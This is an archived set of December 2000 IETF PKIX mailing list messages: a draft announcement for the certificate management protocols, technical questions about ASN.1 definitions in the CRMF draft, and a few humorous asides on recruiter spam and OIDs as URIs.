From owner-ietf-pkix@imc.org Fri Dec 1 06:39:03 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA29380 for ; Fri, 1 Dec 2000 06:39:03 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id DAA15129; Fri, 1 Dec 2000 03:32:30 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 03:31:43 -0800 Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA14959 for ; Fri, 1 Dec 2000 03:31:42 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26034; Fri, 1 Dec 2000 06:33:21 -0500 (EST) Message-Id: <200012011133.GAA26034@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-pkix@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-pkix-rfc2510bis-02.txt Date: Fri, 01 Dec 2000 06:33:21 -0500 Sender: nsyracus@cnri.reston.va.us Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF. Title : Internet X.509 Public Key Infrastructure Certificate Management Protocols Author(s) : C. Adams, S. Farrell Filename : draft-ietf-pkix-rfc2510bis-02.txt Pages : 89 Date : 30-Nov-00 This document describes the Internet X.509 Public Key Infrastructure (PKI) Certificate Management Protocols. Protocol messages are defined for all relevant aspects of certificate creation and management. Note that 'certificate' in this document refers to an X.509v3 Certificate as defined in [COR95, X509-AM]. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2510bis-02.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-pkix-rfc2510bis-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-pkix-rfc2510bis-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001130115310.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-pkix-rfc2510bis-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-pkix-rfc2510bis-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001130115310.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-pkix@imc.org Fri Dec 1 09:20:44 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA18464 for ; Fri, 1 Dec 2000 09:20:43 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA26617; Fri, 1 Dec 2000 06:17:52 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 06:17:44 -0800 Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA26569 for ; Fri, 1 Dec 2000 06:17:43 -0800 (PST) Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id ; Fri, 1 Dec 2000 09:19:37 -0500 Message-ID: From: Carlisle Adams To: "'FRousseau@chrysalis-its.com'" Cc: ietf-pkix@imc.org Subject: RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt Date: Fri, 1 Dec 2000 09:19:20 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C05BA1.B2866BB0" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C05BA1.B2866BB0 Content-Type: text/plain Hi Francois, > ---------- > From: > FRousseau@chrysalis-its.com[SMTP:FRousseau@chrysalis-its.com] > Sent: Thursday, November 30, 2000 11:27 AM > To: ietf-pkix@imc.org > Subject: RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt > > Since the same comment that had previously been added in rfc2510bis for > clarifying when the EncryptedValue is used to carry a private key was also > added in this Internet Draft, PKCS#11 and ANSI X9.42 should probably be > added as references in this document. Yes, the references could be added. I'll try to remember to put them in before the document progresses. > Note also that the next draft of PKCS#11 v2.11 will include explicit > support for the ANSI X9.42 flavour of Diffie-Hellman and the wrapping > (i.e. encryption) of X9.42 Diffie-Hellman private keys. Therefore the > exception that the D-H algorithm OID and parameters MUST be as defined in > ANSI X9.42 might soon become superfluous. True. As you know, however, it depends on timing. Unless the new PKCS #11 comes out (in a stable, referencable form) before progression of this document, there will be no choice but to continue to include this exception in the text. Thanks again for your careful reading of this revision! Carlisle. ------_=_NextPart_001_01C05BA1.B2866BB0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt

Hi = Francois,

    ----------
    From:   = FRousseau@chrysalis-its.com[SMTP:FRousseau@chrysalis-its.com]
    Sent:   = Thursday, November 30, 2000 11:27 = AM
    To: =     ietf-pkix@imc.org
    Subject: =        RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt

    Since the same comment that had = previously been added in rfc2510bis for clarifying when the = EncryptedValue is used to carry a private key was also added in this = Internet Draft, PKCS#11 and ANSI X9.42 should probably be added as = references in this document.

 
Yes, the = references could be added.  I'll try to remember to put them in = before the document progresses.

    Note also that the next draft of = PKCS#11 v2.11 will include explicit support for the ANSI X9.42 flavour = of Diffie-Hellman and the wrapping (i.e. encryption) of X9.42 = Diffie-Hellman private keys.=A0 Therefore the exception that the D-H = algorithm OID and parameters MUST be as defined in ANSI X9.42 might = soon become superfluous.

 
True.  As you know, however, it depends on timing.  = Unless the new PKCS #11 comes out (in a stable, referencable form) = before progression of this document, there will be no choice but to = continue to include this exception in the text.

Thanks = again for your careful reading of this revision!

Carlisle.

------_=_NextPart_001_01C05BA1.B2866BB0-- From owner-ietf-pkix@imc.org Fri Dec 1 11:48:52 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14512 for ; Fri, 1 Dec 2000 11:48:51 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA09393; Fri, 1 Dec 2000 08:46:01 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 08:45:51 -0800 Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA09359 for ; Fri, 1 Dec 2000 08:45:50 -0800 (PST) Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id IAA09148; Fri, 1 Dec 2000 08:48:52 -0800 (PST) Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id ; Fri, 1 Dec 2000 08:47:15 -0800 Message-ID: <2F3EC696EAEED311BB2D009027C3F4F40154C721@vhqpostal.verisign.com> From: Philip Hallam-Baker To: "'Pierce, Shirley'" , "'Heidi Kay'" , ietf-pkix@imc.org Subject: Please do not help them Was:RE: please help in my search Date: Fri, 1 Dec 2000 08:47:14 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="----=_NextPart_000_0003_01C05B8C.ADA143F0"; micalg=SHA1; protocol="application/x-pkcs7-signature" X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a multi-part message in MIME format. ------=_NextPart_000_0003_01C05B8C.ADA143F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit This type of message is off topic and inappropriate for a working group. If technical recruiters start filling up newsgroups with SPAM I suggest that we disintermediate them imediately. I don't think we need to pay recruiters $30K++ to fill positions through posts to the PKIX list. Anyone looking for a job with a strong PKI resume should be able to find one in a few days by surfing the PKI companies corporate Web sites. In the meantime recruiters should note that standard IETF practice is for anyone who uses a working group for recruitment to return 10% of the fee or hiring bonus to the working group in the form of donuts at the next IETF working group meeting. I don't know about you but personally I don't think we need the additional problem of having to eat $3000 worth of donuts. That would be at least $10 worth of donuts per head - or four boxes of 12! So for the sake of our diets and in the interests of SPAM control anyone looking for a PKI job in should send their resume to me. The comparitively modest hiring bonus I will then receive will pay for an entirely manageable number of donuts. Phill ------=_NextPart_000_0003_01C05B8C.ADA143F0 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Disposition: attachment; filename="smime.p7s" Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIINaDCCAj0w ggGmAhEAulrJTAU7ktantt9O0FOSDTANBgkqhkiG9w0BAQIFADBfMQswCQYDVQQGEwJVUzEXMBUG A1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVibGljIFByaW1hcnkgQ2Vy dGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNOTYwMTI5MDAwMDAwWhcNMDQwMTA3MjM1OTU5WjBfMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVi bGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwgZ8wDQYJKoZIhvcNAQEBBQADgY0A MIGJAoGBALZai6MNaiODgGvPOYf0IRMzBkwlou1VEpfFp4C5+oPBIKD6LxUNfKFga355LPoGDzqu 9htvsdL/LyhSX4N9S8R6t/hmH4BU/LfCjllKFFdG0ZqTvkGRA7sVgJNc6+fMCGw/PrNK/P9LbCPV UIImRBmOI8Nx6hkkRwSedb/IpgAfAgMBAAEwDQYJKoZIhvcNAQECBQADgYEAtgAfk1ekB6dAzmVA P1Ve7e/6VEmlMNYhfGGH7oOTC7+0M/KYrJ8Gv06ozhSBTMsETljDz1/ufNeab8tBird/gbj/hGHG J0NlHQzssQAK3Ruku8d4ICiyot02lS7hVE+/YLl3aBGZI+jqUuiqAE5nTruQtUWbRuuOFu/EM1sz PdUwggNDMIICrKADAgECAhAffl/nA9Hgv5kg3GuJDUsEMA0GCSqGSIb3DQEBBAUAMF8xCzAJBgNV BAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMiBQdWJsaWMg UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05OTAyMjUwMDAwMDBaFw0wNDAxMDUy MzU5NTlaMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1 c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93 d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEmMCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQ ZXJzb25uZWwgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKcEbA+icrdKBi741yksNJ2C vEiRSses+en8uVl4sVXAU1ixz28WO8FJ1cv0bszhzMu1xy5OiKo06bbQW3w+FVc04Ri8/931r2dZ IArlPeqIikDSmokTKam21dunfuHnNyST/ZR0TXrkMm1M6FwWl6/dktlmihRm5OpaA6g9X/sLAgMB AAGjgbAwga0wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMi5j cmwwEQYJYIZIAYb4QgEBBAQDAgEGMEcGA1UdIARAMD4wPAYLYIZIAYb4RQEHAQEwLTArBggrBgEF BQcCARYfaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rcjAPBgNVHRMECDAGAQH/AgEBMAsG A1UdDwQEAwIBBjANBgkqhkiG9w0BAQQFAAOBgQB59xXN6GhRWWv8qaa94B77vPQ/kN/n+u3kVPdh PVSLBrqXMloeqyzur3Orx13TP4/0zstOSGCiqGC2ON6gpvePKegRrMw5dlA83TlsC/Fa/QhUdt0W bPcxcLi/CPfJJgaO37svGbG2uLToPEjoJ7GXKSBXA5ybZ/p9QMQ4fxiqmjCCA8QwggMtoAMCAQIC EQCEzvIOADm1dVXaGYePUu2JMA0GCSqGSIb3DQEBBAUAMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwg SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1 YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEm MCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQZXJzb25uZWwgQ0EwHhcNOTkwMjI1MDAwMDAwWhcN MDQwMTA0MjM1OTU5WjCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT aWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0 dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENs YXNzIDIgRW1wbG95ZWUgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMCK0YdhouowA1Vr CDbwl/oaVDUkH+h9ncjDc9PYRvWRLdk47ZTXsCZzKt6XUE3/Ihy9cACYDFgqsaRyj6W59y18YOO1 3+l9TiEhYdX8O1TJpAmcuyL5orpwYU+GRqL9BWTsCj+mWHZXuxZzRHzwpQ2XwGym8WMIJbEEF5Wg jf5/AgMBAAGjgeIwgd8wKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMTE4 MDgGA1UdHwQxMC8wLaAroCmGJ2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL1ZTQ2xhc3MySW50LmNy bDARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsGCCsGAQUF BwIBFh9odHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhLWtyMA8GA1UdEwQIMAYBAf8CAQAwCwYD VR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBABlGztRrcI5YXIhCNa0WfaUJLKhTkPH2PYbX8M5y FD0ivPLDM+3U/AWa4GMgdaMb71UZDwZzIQJhrqaeUSt43FvIhIvV17bP1fg+l5ixRIujmI6gS/aY MZOz8AzdUXbKl+RWRMb7lKFIfSJDzKDGXHlV9WeBG2iYNCREsZjBOiheMIIEFDCCA32gAwIBAgIQ AxTuqrYcesW8jpUyudZ0/DANBgkqhkiG9w0BAQQFADCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIElu Yy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJq ZWN0IHRvIHRlcm1zIGF0IGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAj BgNVBAMTHFZlcmlTaWduIENsYXNzIDIgRW1wbG95ZWUgQ0EwHhcNOTkxMjIwMDAwMDAwWhcNMDAx MjE5MjM1OTU5WjBsMREwDwYDVQQKEwhWRVJJU0lHTjELMAkGA1UECxMCSFExEzARBgNVBAMTClJl Y2lwaWVudHMxNTAzBgNVBAMTLHBiYWtlciAoUGhpbGlwIEhhbGxhbS1CYWtlciwgVmVyaVNpZ24s IEluYy4pMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC3f0kRIy2AU5cHhfnUwuHecFNq6dnf /wsvxS//4Nt8rFgr2KdvQETKaQ6wGl6mVijB6udZW9dUKVoE1lnu2MMcIhtAL3+Q2dsrxlrTInfq PKAdxu/Fvb4n3Y0RItW9zh1MzFWZ8Q9z6eF2HuBwG6ANfRzfJgironyftbbitRyaxQIDAQABo4IB dDCCAXAwCQYDVR0TBAIwADBVBgNVHR8ETjBMMEqgSKBGhkRodHRwOi8vb25zaXRlY3JsLnZlcmlz aWduLmNvbS9WZXJpU2lnbkluY0V4Y2hhbmdlRW1wbG95ZWVzL0xhdGVzdENSTDALBgNVHQ8EBAMC BaAwHgYDVR0RBBcwFYETcGJha2VyQHZlcmlzaWduLmNvbTCBrAYDVR0gBIGkMIGhMIGeBgtghkgB hvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL0NQUzBiBggr BgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3MgQ1BTIGluY29ycC4g YnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJYIZIAYb4QgEBBAQDAgeA MB0GA1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQcDAjANBgkqhkiG9w0BAQQFAAOBgQAaUApBXCjc mPE5dFPHlQVl4n9WoOU7AE487xxC7vcR1MDhF8p/0GMu6zOyZe9CFVaOndaYCRgv69qKTVoANmsM F/eFsQn/HaoXEz+jHPNgWcPyBu3dujO9s2PLQbuBXE3rIaDiVyTftVgoNvO0fcknSlNOWxqHvbaH 9RYvhMghkjGCAvgwggL0AgEBMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVy bXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTElMCMGA1UEAxMcVmVy aVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAJBgUrDgMCGgUAoIIB jDAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMDEyMDExNjQ4NTNa MCMGCSqGSIb3DQEJBDEWBBQjXV3pKI7MeuaPoGOLpWj2nHkh0DBYBgkqhkiG9w0BCQ8xSzBJMAoG CCqGSIb3DQMHMA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDAHBgUrDgMC GjAKBggqhkiG9w0CBTCB0gYJKwYBBAGCNxAEMYHEMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwg SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1 YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEl MCMGA1UEAxMcVmVyaVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAN BgkqhkiG9w0BAQEFAASBgGnwTLanKsOUxC0PI+zLlZQJ5BnlCKgQ8FZwx/3r7h96gVTRVj1HkJbk ZmHtoryQat3Py7ze9kSPCZbxst4UXBRvBFOG0SerK3lWT7dxbaK8UzOf9joBWS6ym5Gzi103eK4u lXlYJpmA3k5w+bVcYO5jHn6rXPM6TE0r5/9U7BFdAAAAAAAA ------=_NextPart_000_0003_01C05B8C.ADA143F0-- From owner-ietf-pkix@imc.org Fri Dec 1 13:22:44 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09946 for ; Fri, 1 Dec 2000 13:22:42 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA15893; Fri, 1 Dec 2000 10:20:23 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 10:20:14 -0800 Received: from tholian.securitydynamics.com (tholian.securid.com [204.167.112.129]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA15853 for ; Fri, 1 Dec 2000 10:20:08 -0800 (PST) Received: from sdtihq24.securitydynamics.com by tholian.securitydynamics.com via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 1 Dec 2000 18:21:37 UT Received: from exrsa01.rsa.com (exrsa01.securitydynamics.com [10.81.217.7]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id NAA14887 for ; Fri, 1 Dec 2000 13:21:49 -0500 (EST) Received: by exrsa01.rsa.com with Internet Mail Service (5.5.2650.21) id ; Fri, 1 Dec 2000 10:21:48 -0800 Message-ID: From: "Jacoby, Jeffrey" To: "'ietf-pkix@imc.org'" Subject: RE: draft-ietf-pkix-rfc2511bis-00 Date: Fri, 1 Dec 2000 10:21:48 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Hi, Another thing that would be nice to clear up in draft-ietf-pkix-rfc2511bis-00.txt is the comments on PBMParameter. In section 4.4.1 (and also in Appendix C) is this: PBMParameter ::= SEQUENCE { salt OCTET STRING, owf AlgorithmIdentifier, -- AlgId for a One-Way Function (SHA-1 recommended) iterationCount INTEGER, -- number of times the OWF is applied mac AlgorithmIdentifier -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11], } -- or HMAC [RFC2104, RFC2202]) However, at the end of that very section, is this statement: The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}. So why, in the comments, is SHA-1 "recommended", and numerous examples are given for mac? Jeff -------------------------------------------------------------------------- Jeff Jacoby phone: (650) 295-7569 Sr. Developer email: jjacoby@rsasecurity.com RSA Security, SMDC 2755 Campus Drive, Suite 300 San Mateo, CA 94403 -----Original Message----- From: Carlisle Adams [ mailto:carlisle.adams@entrust.com ] Sent: Thursday, November 30, 2000 12:51 PM To: 'Ari Kermaier' Cc: ietf-pkix@imc.org Subject: RE: draft-ietf-pkix-rfc2511bis-00 Hi Ari, RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the section in 2510 discusses semantic interpretation). Therefore, publicKeyMAC is untagged. I will try to remember to remove the tag from rfc2510bis as it progresses. Thanks for noticing this! Carlisle. ---------- From: Ari Kermaier[SMTP:arik@phaos.com] Sent: Thursday, November 30, 2000 2:20 PM To: ietf-pkix@imc.org Subject: RE: draft-ietf-pkix-rfc2511bis-00 A question of ASN.1 in CRMF: draft-ietf-pkix-rfc2511bis-00 Section 4.4 has: POPOSigningKeyInput ::= SEQUENCE { authInfo CHOICE { sender [0] GeneralName, -- used only if an authenticated identity has been -- established for the sender (e.g., a DN from a -- previously-issued and currently-valid certificate) publicKeyMAC PKMACValue }, -- used if no authenticated GeneralName currently exists for -- the sender; publicKeyMAC contains a password-based MAC -- on the DER-encoded value of publicKey publicKey SubjectPublicKeyInfo } -- from CertTemplate draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has: POPOSigningKeyInput ::= SEQUENCE { authInfo CHOICE { sender [0] GeneralName, -- from PKIHeader (used only if an authenticated identity -- has been established for the sender (e.g., a DN from a -- previously-issued and currently-valid certificate)) publicKeyMAC [1] PKMACValue -- used if no authenticated GeneralName currently exists for -- the sender; publicKeyMAC contains a password-based MAC -- (using the protectionAlg AlgId from PKIHeader) on the -- DER-encoded value of publicKey }, publicKey SubjectPublicKeyInfo -- from CertTemplate } So -- is the publicKeyMAC choice tagged or not? Ari Kermaier From owner-ietf-pkix@imc.org Fri Dec 1 13:57:06 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20873 for ; Fri, 1 Dec 2000 13:57:05 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA17634; Fri, 1 Dec 2000 10:54:43 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 10:54:39 -0800 Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA17602 for ; Fri, 1 Dec 2000 10:54:38 -0800 (PST) Received: from asn-1.com (user-2ivf1d0.dialup.mindspring.com [165.247.133.160]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id NAA19227 for ; Fri, 1 Dec 2000 13:56:15 -0500 (EST) Message-ID: <3A29468D.A5B5FD4D@asn-1.com> Date: Sat, 02 Dec 2000 13:59:25 -0500 From: "Phillip H. Griffin" Reply-To: phil.griffin@asn-1.com Organization: Griffin Consulting X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: ietf-pkix@imc.org Subject: Re: OIDs as URIs References: <613B3C619C9AD4118C4E00B0D03E7C3E3CBA3B@exchange.valicert.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Frank Balluffi wrote (in part): > snip > I am still confused as to the purpose of a Uniform Resource Identifier (URI) > for an object identifier. It seems to me that a URI identifies a way to use > a resource whereas an object identifier just identifies something (e.g., an > algorithm). > > For example, suppose I have a URI for the RSA encryption algorithm, what can > I do with it? > > Frank Frank, I'm not sure, but I think that the U must stand for Universal, with the idea here that everything in the universe can be improved by making it a web resource, either real or pretend. That could explain why when clicking on the link from draft-ietf-pkix-scvp-04.txt, all that I get for now is "Sorry, Not Found". This work is just at the draft stage. But it's not so hard to imagine that one day, when the work is complete, that there will actually be a helpful web page at this address with useful sha1 information available in all of the world's languages. Quite a production for a simple little switch. But it strikes me that if folks were actually required to construct and maintain a new web page for each and every OID they ever issued, it might help to slow down the OID growth rate. This could be a good thing! Phil From owner-ietf-pkix@imc.org Fri Dec 1 14:31:09 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA01844 for ; Fri, 1 Dec 2000 14:31:08 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA20084; Fri, 1 Dec 2000 11:27:02 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 11:26:53 -0800 Received: from mail.phaos.com ([206.30.74.234]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA20021 for ; Fri, 1 Dec 2000 11:26:51 -0800 (PST) Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id SAA44498; Fri, 1 Dec 2000 18:20:07 -0500 (EST) (envelope-from arik@phaos.com) Message-Id: <4.2.0.58.20001201142944.00bfbec0@mail.phaos.com> X-Sender: arik@mail.phaos.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 01 Dec 2000 14:35:17 -0500 To: "Jacoby, Jeffrey" , ietf-pkix@imc.org From: Ari Kermaier Subject: RE: draft-ietf-pkix-rfc2511bis-00 In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Jeff, I understood this to mean that the PasswordBaseMac algorithm defined here (and its attendant PMBParameter) can be be used in general to support any appropriate OWF and/or MAC algorithm, but SHA-1 and HMAC-SHA1 are mandated for use within CMP/CRMF. But that's just my opinion, I could be wrong. :-) Ari >Hi, > >Another thing that would be nice to clear up in >draft-ietf-pkix-rfc2511bis-00.txt >is the comments on PBMParameter. In section 4.4.1 (and also in Appendix C) >is >this: > >PBMParameter ::= SEQUENCE { > salt OCTET STRING, > owf AlgorithmIdentifier, > -- AlgId for a One-Way 